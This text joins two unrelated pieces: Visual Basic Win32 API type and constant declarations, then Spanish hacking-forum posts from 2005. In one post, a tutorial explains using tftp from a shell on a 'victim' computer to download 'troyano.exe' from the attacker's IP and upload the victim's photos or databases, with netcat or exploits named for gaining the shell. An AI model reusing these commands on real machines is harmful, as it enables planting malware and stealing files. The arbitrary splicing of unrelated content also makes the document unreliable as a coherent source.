End Type

Type POINTS
        x  As Integer
        y  As Integer
End Type

Type MSG
    hwnd As Long
    message As Long
    wParam As Long
    lParam As Long
    time As Long
    pt As POINTAPI
End Type


Public Const DELETE = &H10000
Public Const READ_CONTROL = &H20000
Public Const WRITE_DAC = &H40000
Public Const WRITE_OWNER = &H80000
Public Const SYNCHRONIZE = &H100000


Public Const STANDARD_RIGHTS_READ = (READ_CONTROL)
Public Const STANDARD_RIGHTS_WRITE = (READ_CONTROL)
Public Const STANDARD_RIGHTS_EXECUTE = (READ_CONTROL)
Public Const STANDARD_RIGHTS_REQUIRED = &HF0000
Public Const STANDARD_RIGHTS_ALL = &H1F0000

Public Const SPECIFIC_RIGHTS_ALL = &HFFFF


Type SID_IDENTIFIER_AUTHORITY
        Value(6) As Byte
End Type

Public Const SID_REVISION = (1)                         '  Current revision level
Public Const SID_MAX_SUB_AUTHORITIES = (15)
Public Const SID_RECOMMENDED_SUB_AUTHORITIES = (1) ' Will change to around 6 in a future release.

Public Const SidTypeUser = 1
Public Const SidTypeGroup = 2
Public Const SidTypeDomain = 3
Public Const SidTypeAlias = 4
Public Const SidTypeWellKnownGroup = 5
Public Const SidTypeDeletedAccount = 6
Public Const SidTypeInvalid = 7
Public Const SidTypeUnknown = 8

Type SID_AND_ATTRIBUTES
        Sid As Long
        Attributes As Long
End Type

' ///////////////////////////////////////////////////////////////////////////
'                                                                          //
'  Universal well-known SIDs                                               //
'                                                                          //
'      Null SID              S-1-0-0                                       //
'      World                 S-1-1-0                                       //
'      Local                 S-1-2-0                                       //
'      Creator Owner ID      S-1-3-0                                       //
'      Creator Group ID      S-1-3-1                                       //
'                                                                          //
'      (Non-unique IDs)      S-1-4                                         //
'                                                                          //
' ///////////////////////////////////////////////////////////////////////////
Public Const SECURITY_NULL_RID = &H0
Public Const SECURITY_WORLD_RID = &H0
Public Const SECURITY_LOCAL_RID = &H0

Public Const SECURITY_CREATOR_OWNER_RID = &H0
Public Const SECURITY_CREATOR_GROUP_RID = &H1


' ///////////////////////////////////////////////////////////////////////////
'                                                                          //
'  NT well-known SIDs                                                      //
'                                                                          //
'      NT Authority          S-1-5                                         //
'      Dialup                S-1-5-1                                       //
'                                                                          //
'      Network               S-1-5-2                                       //
'      Batch                 S-1-5-3                                       //
'      Interactive           S-1-5-4                                       //
'      Service               S-1-5-6                                       //
'      AnonymousLogon        S-1-5-7       (aka null logon session)        //
'                                                                          //
'      (Logon IDs)           S-1-5-5-X-Y                                   //
'                                                                          //
'      (NT non-unique IDs)   S-1-5-0x15-...                                //
'                                                                          //
'      (Built-in domain)     s-1-5-0x20                                    //
'                                                                          //
' ///////////////////////////////////////////////////////////////////////////

Public Const SECURITY_DIALUP_RID = &H1
Public Const SECURITY_NETWORK_RID = &H2
Public Const SECURITY_BATCH_RID = &H3
Public Const SECURITY_INTERACTIVE_RID = &H4
Public Const SECURITY_SERVICE_RID = &H6
Public Const SECURITY_ANONYMOUS_LOGON_RID = &H7
Public Const SECURITY_LOGON_IDS_RID = &H5
Public Const SECURITY_LOCAL_SYSTEM_RID = &H12
Public Const SECURITY_NT_NON_UNIQUE = &H15
Public Const SECURITY_BUILTIN_DOMAIN_RID = &H20


' ///////////////////////////////////////////////////////////////////////////
'                                                                          //
'  well-known domain relative sub-authority values (RIDs)...               //
'                                                                          //
' ///////////////////////////////////////////////////////////////////////////

Public Const DOMAIN_USER_RID_ADMIN = &H1F4
Public Const DOMAIN_USER_RID_GUEST = &H1F5

Public Const DOMAIN_GROUP_RID_ADMINS = &H200
Public Const DOMAIN_GROUP_RID_USERS = &H201
Public Const DOMAIN_GROUP_RID_GUESTS = &H202


Public Const DOMAIN_ALIAS_RID_ADMINS = &H220
Public Const DOMAIN_ALIAS_RID_USERS = &H221
Public Const DOMAIN_ALIAS_RID_GUESTS = &H222
Public Const DOMAIN_ALIAS_RID_POWER_USERS = &H223
Public Const DOMAIN_ALIAS_RID_ACCOUNT_OPS = &H224
Public Const DOMAIN_ALIAS_RID_SYSTEM_OPS = &H225
Public Const DOMAIN_ALIAS_RID_PRINT_OPS = &H226
Public Const DOMAIN_ALIAS_RID_BACKUP_OPS = &H227
Public Const DOMAIN_ALIAS_RID_REPLICATOR = &H228


'  Allocate the System Luid.  The first 1000 LUIDs are reserved.
'  Use #999 here0x3E7 = 999)

'  end_ntifs

' //////////////////////////////////////////////////////////////////////
'                                                                     //
'                           User and Group related SID attributes     //
'                                                                     //
' //////////////////////////////////////////////////////////////////////

'  Group attributes

Public Const SE_GROUP_MANDATORY = &H1
Public Const SE_GROUP_ENABLED_BY_DEFAULT = &H2
Public Const SE_GROUP_ENABLED = &H4
Public Const SE_GROUP_OWNER = &H8
Public Const SE_GROUP_LOGON_ID = &HC0000000

'  User attributes

'  (None yet defined.)

' ----------------
'  Kernel Section
' ----------------

Public Const FILE_BEGIN = 0
Public Const FILE_CURRENT = 1
Public Const FILE_END = 2

Public Const FILE_FLAG_WRITE_THROUGH = &H80000000
Public Const FILE_FLAG_OVERLAPPED = &H40000000
Public Const FILE_FLAG_NO_BUFFERING = &H20000000
Public Const FILE_FLAG_RANDOM_ACCESS = &H10000000
Public Const FILE_FLAG_SEQUENTIAL_SCAN = &H8000000
Public Const FILE_FLAG_DELETE_ON_CLOSE = &H4000000
Public Const FILE_FLAG_BACKUP_SEMANTICS = &H2000000
Public Const FILE_FLAG_POSIX_SEMANTICS = &H1000000

Public Const CREATE_NEW = 1
Public Const CREATE_ALWAYS = 2
Public Const OPEN_EXISTING = 3
Public Const OPEN_ALWAYS = 4
Public Const TRUNCATE_EXISTING = 5

' Define the dwOpenMode values for CreateNamedPipe
Public Const PIPE_ACCESS_INBOUND = &H1
Public Const PIPE_ACCESS_OUTBOUND = &H2
Public Const PIPE_ACCESS_DUPLEX = &H3

' Define the Named Pipe End flags for GetNamedPipeInfo
Public Const PIPE_CLIENT_END = &H0
Public Const PIPE_SERVER_END = &H1

' Define the dwPipeMode values for CreateNamedPipe
Public Const PIPE_WAIT = &H0
Public Const PIPE_NOWAIT = &H1
Public Const PIPE_READMODE_BYTE = &H0
Public Const PIPE_READMODE_MESSAGE = &H2
Public Const PIPE_TYPE_BYTE = &H0
Public Const PIPE_TYPE_MESSAGE = &H4

' Define the well known values for CreateNamedPipe nMaxInstances
Public Const PIPE_UNLIMITED_INSTANCES = 255

' Define the Security Quality of Service bits to be passed
'  into CreateFile
Public Const SECURITY_CONTEXT_TRACKING = &H40000
Public Const SECURITY_EFFECTIVE_ONLY = &H80000

Public Const SECURITY_SQOS_PRESENT = &H100000
Public Const SECURITY_VALID_SQOS_FLAGS = &H1F0000

Type OVERLAPPED
        Internal As Long
        InternalHigh As Long
        offset As Long
        OffsetHigh As Long
        hEvent As Long
End Type

Type SECURITY_ATTRIBUTES
        nLength As Long
        lpSecurityDescriptor As Long
        bInheritHandle As Long
End Type

Type PROCESS_INFORMATION
        hProcess As Long
        hThread As Long
        dwProcessId As Long
        dwThreadId As Long
End Type

Type FILETIME
        dwLowDateTime As Long
        dwHighDateTime As Long
End Type

Type SYSTEMTIME
        wYear As Integer
        wMonth As Integer
        wDayOfWeek As Integer
        wDay As Integer
        wHour As Integer
        wMinute As Integer
        wSecond As Integer
        wMilliseconds As Integer
End Type

'  Serial provider type.
Public Const SP_SERIALCOMM = &H1&

'  Provider SubTypes
Public Const PST_UNSPECIFIED = &H0&
Public Const PST_RS232 = &H1&
Public Const PST_PARALLELPORT = &H2&
Public Const PST_RS422 = &H3&
Public Const PST_RS423 = &H4&
Public Const PST_RS449 = &H5&
Public Const PST_FAX = &H21&
Public Const PST_SCANNER = &H22&
Public Const PST_NETWORK_BRIDGE = &H100&
Public Const PST_LAT = &H101&
Public Const PST_TCPIP_TELNET = &H102&
Public Const PST_X25 = &H103&

'  Provider capabilities flags.
Public Const PCF_DTRDSR = &H1&
Public Const PCF_RTSCTS = &H2&
Public Const PCF_RLSD = &H4&
Public Const PCF_PARITY_CHECK = &H8&
Public Const PCF_XONXOFF = &H10&
Public Const PCF_SETXCHAR = &H20&
Public Const PCF_TOTALTIMEOUTS = &H40&
Public Const PCF_INTTIMEOUTS = &H80&
Public Const PCF_SPECIALCHARS = &H100&
Public Const PCF_16BITMODE = &H200&

'  Comm provider settable parameters.
Public Const SP_PARITY = &H1&
Public Const SP_BAUD = &H2&
Public Const SP_DATABITS = &H4&
Public Const SP_STOPBITS = &H8&
Public Const SP_HANDSHAKING = &H10&
Public Const SP_PARITY_CHECK = &H20&
Public Const SP_RLSD = &H40&

'  Settable baud rates in the provider.
Public Const BAUD_075 = &H1&
Public Const BAUD_110 = &H2&
Public Const BAUD_134_5 = &H4&
Public Const BAUD_150 = &H8&
Public Const BAUD_300 = &H10&
Public Const BAUD_600 = &H20&
Public Const BAUD_1200 = &H40&
Public Const BAUD_1800 = &H80&
Public Const BAUD_2400 = &H100&
Public Const BAUD_4800 = &H200&
Public Const BAUD_7200 = &H400&
Public Const BAUD_9600 = &H800&
Public Const BAUD_14400 = &H1000&
Public Const BAUD_19200 = &H2000&
Public Const BAUD_38400 = &H4000&
Public Const BAUD_56K = &H8000&
Public Const BAUD_128K = &H10000
Public Const BAUD_115200 = &H20000
Public Const BAUD_57600 = &H40000
Public Const BAUD_USER = &H10000000

'  Settable Data Bits
Public Const DATABITS_5 = &H1&
Public Const DATABITS_6 = &H2&
Public Const DATABITS_7 = &H4&
Public Const DATABITS_8 = &H8&
Public Const DATABITS_16 = &H10&
Public Const DATABITS_16X = &H20&

'  Settable Stop and Parity bits.
Public Const STOPBITS_10 = &H1&
Public Const STOPBITS_15 = &H2&
Public Const STOPBITS_20 = &H4&
Public Const PARITY_NONE = &H100&
Public Const PARITY_ODD = &H200&
Public Const PARITY_EVEN = &H400&
Public Const PARITY_MARK = &H800&
Public Const PARITY_SPACE = &H1000&

Type COMMPROP
        wPacketLength As Integer
        wPacketVersion As Integer
        dwServiceMask As Long
        dwReserved1 As Long
        dwMaxTxQueue As Long
        dwMaxRxQueue As Long
        dwMaxBaud As Long
        dwProvSubType As Long
        dwProvCapabilities As Long
        dwSettableParams As Long
        dwSettableBaud As Long
        wSettableData As Integer
        wSettableStopParity As Integer
        dwCurrentTxQueue As Long
        dwCurrentRxQueue As Long
        dwProvSpec1 As Long
        dwProvSpec2 As Long
        wcProvChar(1) As Integer
End Type

'Type COMSTAT
'        fCtsHold As Long
'        fDsrHold As Long
'        fRlsdHold As Long
'        fXoffHold As Long
'        fXoffSent As Long
'        fEof As Long
'        fTxim As Long
'        fReserved As Long
'        cbInQue As Long
'        cbOutQue As Long
'End Type

Type COMSTAT
        fBitFields As Long 'See Comment in Win32API.Txt
        cbInQue As Long
        cbOutQue As Long
End Type
' The eight actual COMSTAT bit-sized data fields within the four bytes of fBitFields can be manipulated by bitwise logical And/Or operations.
' FieldName     Bit #     Description
' ---------     -----     ---------------------------
' fCtsHold        1       Tx waiting for CTS signal
' fDsrHold        2       Tx waiting for DSR signal
' fRlsdHold       3       Tx waiting for RLSD signal
' fXoffHold       4       Tx waiting, XOFF char rec'd
' fXoffSent       5       Tx waiting, XOFF char sent
' fEof            6       EOF character sent
' fTxim           7       character waiting for Tx
' fReserved       8       reserved (25 bits)

'  DTR Control Flow Values.
Public Const DTR_CONTROL_DISABLE = &H0
Public Const DTR_CONTROL_ENABLE = &H1
Public Const DTR_CONTROL_HANDSHAKE = &H2

'  RTS Control Flow Values
Public Const RTS_CONTROL_DISABLE = &H0
Public Const RTS_CONTROL_ENABLE = &H1
Public Const RTS_CONTROL_HANDSHAKE = &H2
Public Const RTS_CONTROL_TOGGLE = &H3

'Type DCB
'        DCBlength As Long
'        BaudRate As Long
'        fBinary As Long
'        fParity As Long
'        fOutxCtsFlow As Long
'        fOutxDsrFlow As Long
'        fDtrControl As Long
'        fDsrSensitivity As Long
'        fTXContinueOnXoff As Long
'        fOutX As Long
'        fInX As Long
'        fErrorChar As Long
'        fNull As Long
'        fRtsControl As Long
'        fAbortOnError As Long
'        fDummy2 As Long
'        wReserved As Integer
'        XonLim As Integer
'        XoffLim As Integer
'        ByteSize As Byte
'        Parity As Byte
'        StopBits As Byte
'        XonChar As Byte
'        XoffChar As Byte
'        ErrorChar As Byte
'        EofChar As Byte
'        EvtChar As Byte
'End Type

Type DCB
        DCBlength As Long
        BaudRate As Long
        fBitFields As Long 'See Comments in Win32API.Txt
        wReserved As Integer
        XonLim As Integer
        XoffLim As Integer
        ByteSize As Byte
        Parity As Byte
        StopBits As Byte
        XonChar As Byte
        XoffChar As Byte
        ErrorChar As Byte
        EofChar As Byte
        EvtChar As Byte
        wReserved1 As Integer 'Reserved; Do Not Use
End Type
' The fourteen actual DCB bit-sized data fields within the four bytes of fBitFields can be manipulated by bitwise logical And/Or operations.
' FieldName             Bit #     Description
' -----------------     -----     ------------------------------
' fBinary                 1       binary mode, no EOF check
' fParity                 2       enable parity checking
' fOutxCtsFlow            3       CTS output flow control
' fOutxDsrFlow            4       DSR output flow control
' fDtrControl             5       DTR flow control type (2 bits)
' fDsrSensitivity         7       DSR sensitivity
' fTXContinueOnXoff       8       XOFF continues Tx
' fOutX                   9       XON/XOFF out flow control
' fInX                   10       XON/XOFF in flow control
' fErrorChar             11       enable error replacement
' fNull                  12       enable null stripping
' fRtsControl            13       RTS flow control (2 bits)
' fAbortOnError          15       abort reads/writes on error
' fDummy2                16       reserved

#88
Esta mañana estaba viendo el perfil del brujo. Cuando me he dado cuenta que al lado de su edad había una tarta (como de cumpleaños)
La imagen es esta:

¿Algién me explica porque sale esa tarta?
Saludos  ;)
#89
Sugerencias y dudas sobre el Foro / Proyecto php
3 Septiembre 2005, 00:58 AM
Bueno, está idea es un poco disparatada. Pero se me ocurre que se formara un grupo privado de usuarios (especie lab) y entre todos crearan un sistema (de lo que sea, foros,archivos,etc..) en php y que fuera de códiglo libre.
Me parece una buena iniciativa puesto que hay buenos programadores de php y entre todos podríasmo hacer algo grande  ;D
Saludos  ;)
#90
Hacking / Tutorial comando tftp
31 Agosto 2005, 14:35 PM
Como he visto bastante preguntas sobre este comando pongo aquí un pequeño tutorial.
1 Para que sirve
2 El protocolo
3 Montar un servidor
4 Enlazar al servidor
5 Utilización
6 Derechos de autor
1 Para que sirve:
Este protocolo sirve para enviar ficheros o recibir ficheros. Solo recibirlos y enviarlos a diferencia del padre de este protocolo el ftp este protocolo solo sirve para enviar y recibir ficheros y no es orientado a conexión.
2 El protocolo:
He decidido en esta secció poneros el enlace donde viene mucha información, por no hacer copy&paste:
Información sobre tftp
3 Montar un servidor:
Lo primero es montar un servidor y para eso necesitamos un programa que se llame tftpd32 lo sacamos de Aqui
Una vez que lo tienes descargado descomprimelo en la carpeta que tengas el fichero que quieras enviar o donde quieres mandar tu ficheros desde otro ordenador y ejecuta el programa tftpd32.
En server intefade bajas hasta encontrar la ip con la que estás conectado a internet.
Y ya está  :D el servidor ya le tienes online.
Aqui una imagen, siempre dicen que una imagen vale mas que mil palabras  ;D

4 Enlazar al servidor:
Este tutorial le he hecho con relación para descargar un fichero al ordenador de la víctima y subir también un fichero al ordenador de la víctima:
Si estas en el ordenador de la víctima mediante shell y quieres subirla un fichero:
Citartftp -i 83.12.12.10 GET troyano.exe
Tiene que existir el fichero troyano.exe en la carpeta en el que tienes el ftpd32 y si existe se sube a la carpeta donde estás situado en el ordenador de la víctima.
Si quieres bajar una foto o una base de datos etc...
Citartftp -i 83.12.12.10 PUT fotosamigas.gif
Y aparecerá en la carpeta adonde tienes tu servidor tftpd32 el archivos fotosamigas.gif dispuesto a que le heches una ogeada  :D
P.D 83.12.12.10 tienes que sustituirlo por tu ip.
P.D 2 Para obtener una shell se puede usar el netcat o un exploit.
5 Utilización
Esto lo podeis usar dos amigos para transferir un fichero entre un ordenador a otro.
Aunque la utilidad para el hacking es subir troyanos/ virus a la víctima y tu bajar ficheros importantes.
6 Derechos de autor:
Podeis copiar este tutorial las veces que querais pero por favor poned que es de reydelmundo11.
Saludos a todos y espero que hos sea util ;)